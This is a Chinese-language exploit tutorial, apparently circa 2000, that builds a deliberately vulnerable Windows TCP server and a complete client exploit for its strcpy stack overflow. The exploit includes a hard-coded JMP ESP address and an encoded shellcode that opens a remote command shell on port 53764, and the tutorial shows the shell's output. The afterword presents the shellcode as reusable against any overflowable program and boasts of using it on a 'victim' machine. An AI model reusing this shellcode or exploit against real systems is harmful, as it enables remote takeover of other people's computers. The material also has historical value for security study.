作者:ipxodi ([email protected])
下面是一個有問題的internet服務程序:
/****************************************************************************/
/* server.cpp By Ipxodi
*/
#include
#include
char Buff[1024];
void overflow(char * s,int size)
{
char s1[50];
printf("receive %d bytes",size);
s[size]=0;
strcpy(s1,s);
}
int main()
{
WSADATA wsa;
SOCKET listenFD;
int ret;
char asd[2048];
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
unsigned long lBytesRead;
while(1) {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
overflow(Buff,lBytesRead);
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
WSACleanup();
return 0;
}
/****************************************************************************/
函數Overflow有問題,看到了嗎?
好,現在我們來寫溢出攻擊程序:
1)先算一下溢出(返回)地址應該在哪裏?
(:啊?算出?你上次不是用程序試嗎?我好不容易纔看懂你的算法,這次怎麼不用了?
:唉,老兄,上次是沒有敵人的原代碼,懶得看彙編,纔會試,
現在原代碼就放在你眼前,你自己算一下不就出來了?)
下面是溢出時刻堆棧佈局:
內存底部 內存頂部
buffer EBP ret
<------ [NNNNNNNNNNN][N ] [A ]SSSS
^&buffer
堆棧頂部 堆棧底部
可以看到,buffer我們開的是50,32位系統針對數組進行四位對齊,所以實際緩衝區是
52,加上EBP佔去4個字節,就是52+4=56,那麼,ret就是第56字節了。
2)再看看server裏面LoadLibrary和GetProcAddress的地址是什麼?
啓動wdasm32,加載server.exe
:004028EC 68F0014200 push 004201F0
* Reference To: KERNEL32.LoadLibraryA, Ord:01C2h
|
:004028F1 FF15E8614200 Call dword ptr [004261E8]
好,KERNEL32.LoadLibraryA(就是LoadLibrary的別名)的入口地址:0x004261E8。
:00402911 51 push ecx
* Reference To: KERNEL32.GetProcAddress, Ord:013Eh
|
:00402912 FF15E4614200 Call dword ptr [004261E4]
好,KERNEL32.GetProcAddress的入口地址:0x004261E4。
這兩個地址都有00,我們不能直接在shellcode裏面引用,因此採用如下變通方案:
0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, 004261E8h;(&LoadLibrary) */
0xc1, 0xeb, 0x08, /* shr ebx, 08 */
以及
0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */
3)寫出client:
/****************************************************************************/
/* client.cpp By Ipxodi
*/
#include
#include
#define WIN2000
#ifdef WIN2000
#define JUMPESP "/x2a/xe3/xe2/x77"
#endif
#ifdef WIN98
#define JUMPESP "/xa3/x95/xf7/xbf"
#endif
unsigned char eip[8] = JUMPESP;
unsigned char sploit[580] = {
0x90, 0x8b, 0xfc,
0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,
0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,
0x99, 0xe8, 0x61, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,
0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,
0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13, 0xab, 0x59, 0x5a,
0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xe8, 0x56,
0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,
0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe4, 0xff, 0x13,
0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,
0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,
0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,
0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,
0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,
0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,
0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,
0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,
0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,
0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,
0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,
0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,
0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,
0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57,
0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,
0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,
0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,
0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,
0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,
0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,
0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
0x4b, 0x9d, //port=53764
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
0x0d, 0x0a};
int main()
{
WSADATA wsa;
SOCKET sockFD;
char Buff[1024],*sBO;
WSAStartup(MAKEWORD(2,2),&wsa);
sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
connect(sockFD,(struct sockaddr *)&server,sizeof(server));
for(int i=0;i<56;Buff[i++]=0x90);
strcpy(Buff+56,(char *)eip);
strcpy(Buff+60,(char *)sploit);
sBO = Buff;
send(sockFD,sBO,56+4+560,0);
closesocket(sockFD);
WSACleanup();
return 1;
}
/****************************************************************************/
運行server,然後運行client.之後,telnet localhost 53764,看到了什麼?
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版權所有 1985-1998 Microsoft Corp.
D:/MyProjects/server>dir
dir
驅動器 D 中的卷沒有標籤。
卷的序列號是 3C2F-72BB
D:/MyProjects/server 的目錄
2000-04-26 17:52
.
2000-04-26 17:52
..
2000-04-25 11:17
Debug
2000-04-23 20:23 3,288 server.001
2000-04-25 11:16 926 server.cpp
2000-04-25 10:33 3,325 server.dsp
2000-04-25 10:33 535 server.dsw
2000-04-26 17:52 41,984 server.ncb
2000-04-26 17:52 49,664 server.opt
2000-04-25 11:24 509 server.plg
7 個文件 100,231 字節
3 個目錄 8,688,173,056 可用字節
D:/MyProjects/server>
呵呵,大功告成。
----後記
大家通過鑽研,可以知道,這是一個windows下通用的遠程溢出shellcode。
使用這個shellcode,稍加改動,我們可以編寫出其他的遠程溢出程序。
實現對任何已知存在緩衝區溢出問題的程序的遠程控制。
事實上,爲了發現溢出漏洞,你必須深入鑽研敵人的程序代碼,找到他的
有問題代碼。這本身就可以單開一講來詳細闡述。
windows下的Cracker們,你們的破解跟蹤技術將在這個領域
得到最大的利用。我估計,在不久的將來,會有很多Cracker,公佈一系列
windows緩衝區溢出漏洞。
上面所示的,只不過是一個實驗用的server程序,事實上,
我們已經完成了Oicq遠程溢出程序的實現和IisHack中文NT版的移植。
當我telnet victim 53764上敵人的機器,刪除了他的autoexec.001時,
真是一切盡在掌握。我心中想的,就是:
windows Nt/2000的遠程溢出時代,開始了!我們再也不需要木馬了!
因爲上述程序的攻擊性太強,我就不公佈原代碼了,我希望
如果有人基於我的shellcode寫出了遠程溢出程序,請先通知軟件供應商,
等待patch出來後,再公佈你們的溢出程序。
因爲,發現漏洞的目的,並不是爲了破壞,而是爲了消除漏洞,提高安全。
----參考書目:
0)ipxodi 《window系統下的堆棧溢出》NsfocusMagzine 20003。
1)dark spyrit AKA Barnaby Jack的Phrack Magzine55上的經典文章。
2)Backend的《Windows 2000緩衝區溢出入門》 NsfocusMagzine 20004。
3)《windows網絡編程技術》 Anthory Jones,Jim Ohlund.(機械版京京譯)
----致謝
要致謝的人很多:
dark spyrit,爲你的天才和無私,向你致敬。
感謝綠盟的Backend,Yuange,Zer9,爲你們的研究成果和給我的無私幫助,
當然還有綠盟的tt,deepin,爲你們在攻擊實踐上給我的幫助。
感謝所有幫助和激勵過我的人。